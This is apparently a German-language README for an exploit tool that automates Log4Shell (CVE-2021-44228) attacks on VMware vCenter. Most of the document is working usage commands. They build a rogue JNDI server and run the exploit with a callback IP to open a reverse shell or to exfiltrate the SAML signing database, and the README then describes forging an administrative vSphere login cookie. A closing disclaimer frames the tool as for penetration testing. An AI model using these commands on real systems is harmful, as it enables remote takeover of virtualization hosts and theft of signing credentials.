
Ausnutzung von CVE-2021-44228 in vCenter für Remote-Code-Ausführung und mehr.
Ausnutzung von CVE-2021-44228 in vCenter für Remote-Code-Ausführung und mehr. Blogbeitrag mit Details zur Ausnutzung unten verlinkt:
Proof-of-Concepts für diese Sicherheitslücke sind verstreut und müssen manuell durchgeführt werden. Dieses Repository automatisiert den Ausnutzungsprozess und zeigt einen zusätzlichen Angriffspfad auf, der nach der Ausnutzung möglich ist.
Um den Exploit manuell herunterzuladen und auszuführen, führen Sie die folgenden Schritte aus. Stellen Sie zunächst sicher, dass Java und Maven auf Ihrem Angreifer-Host installiert sind. Führen Sie dazu unter Verwendung von apt auf Debian-basierten Betriebssystemen den folgenden Befehl aus:
apt update && apt install openjdk-11-jre maven
Klonen Sie das GitHub-Repository und installieren Sie alle Python-Anforderungen:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && pip3 install -r requirements.txt
Führen Sie vom Stammverzeichnis des Log4jCenter-Repositorys aus den folgenden Befehl aus, um das Rogue-Jndi-Projekt zu kompilieren:
mvn package -f utils/rogue-jndi/
Stellen Sie zunächst sicher, dass Docker auf Ihrem Angreifer-Host installiert ist. (Ich werde Sie nicht durch die Installation führen)
Führen Sie anschließend den folgenden Befehl aus, um das Repository zu klonen und das Docker-Image zu erstellen, das wir verwenden werden.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && docker build -t log4jcenter .
Um den Container auszuführen, führen Sie einen Befehl ähnlich dem folgenden mit Ihren Befehlszeilen-Flags aus. Beispielsweise würde der folgende Befehl verwendet, um vCenter auszunutzen und eine Reverse-Shell zu erhalten. Beachten Sie, dass der Container die Reverse-Shell nicht abfängt. Sie müssen einen ncat-Listener in einer separaten Shell-Sitzung erstellen:
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 8090:8090 -p 1389:1389 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -p 4444 -r
usage: exploit.py [-h] -t IP -i CALLBACK [-p PORT] [-e] [-r]
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP vCenter Host IP
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
-e, --exfiltrate Module to pull SAML DB
-r, --revshell Module to establish reverse shell
Erhalten Sie eine Reverse-Shell mit dem auf Ihrem lokalen System installierten Tool:
python3 exploit.py -t vcenter.acme.com -i 10.10.10.1 -p 4444 -r
Exfiltrieren Sie die SAML-Signierungsdatenbanken aus einem Docker-Container heraus:
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 1389:1389 -p 8090:8090 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -e
Aus unbekannten Gründen wird das Reverse-Shell-Payload möglicherweise nicht nach dem ersten Ausführen des Skripts ausgelöst. Möglicherweise müssen Sie den Exploit mehrmals ausführen, um den Callback zu erhalten. Ich werde dies untersuchen und in einer zukünftigen Version einen Fix bereitstellen.
Im utils-Verzeichnis ist das Repository vcenter_saml_login enthalten. Sie können dies in Kombination mit dem -e-Flag verwenden, um die vCenter SAML-Signierungsdatenbank zu exfiltrieren und ein administratives Anmelde-Cookie für vSphere zu generieren. Sie müssen die Anforderungen separat installieren.
Für Verteidiger können Sie dieses Problem mit einem bald verfügbaren Patch oder dem hier beschriebenen Workaround entschärfen.
Dieses Tool ist für den Einsatz während Penetrationstests konzipiert; die Verwendung dieses Tools zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen und bundesstaatlichen Gesetze einzuhalten. Die Entwickler übernehmen keine Haftung und sind nicht für jeglichen Missbrauch dieses Programms verantwortlich.